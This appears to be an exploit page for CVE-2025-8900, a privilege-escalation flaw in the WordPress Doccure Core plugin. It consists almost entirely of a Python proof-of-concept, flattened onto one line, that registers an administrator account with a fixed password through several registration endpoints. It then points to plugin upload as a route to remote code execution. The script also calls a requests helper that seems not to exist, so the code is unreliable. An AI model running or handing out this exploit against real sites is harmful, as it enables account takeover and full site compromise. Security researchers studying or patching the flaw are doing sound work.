CVE-2025-8900 WordPress Doccure Core插件权限提升漏洞

import requests import re # CVE-2025-8900 PoC - Doccure Core Plugin Privilege Escalation # Target: WordPress site with Doccure Core plugin < 1.5.4 target_url = "http://target-wordpress-site.com" # Generate random username and email for registration username = f"attacker_{requests.utils.default_username()}" email = f"{username}@attacker.com" # Construct the registration request with admin role registration_data = { "user_login": username, "user_email": email, "user_pass": "P@ssw0rd123!", "user_type": "administrator", # Key parameter for privilege escalation "role": "administrator", "wp-submit": "Register" } # Try common registration endpoints endpoints = [ "/wp-login.php?action=register", "/register/", "/wp-signup.php", "/?rest_route=/doccure/v1/register" ] print(f"[*] CVE-2025-8900 PoC - Attempting privilege escalation...") print(f"[*] Target: {target_url}") print(f"[*] Username: {username}") print(f"[*] Email: {email}") for endpoint in endpoints: url = target_url + endpoint try: response = requests.post(url, data=registration_data, timeout=10, allow_redirects=False) # Check for successful registration indicators if response.status_code in [200, 302] and ("success" in response.text.lower() or "checkemail" in response.text.lower()): print(f"[+] SUCCESS: Registration request sent to {endpoint}") print(f"[+] Admin account created: {username} / P@ssw0rd123!") print(f"[+] Login URL: {target_url}/wp-login.php") break except requests.exceptions.RequestException as e: print(f"[-] Failed to connect to {endpoint}: {e}") print("\n[*] After successful registration, login to WordPress admin panel") print("[*] Navigate to Plugins -> Add New -> Upload Plugin to gain RCE")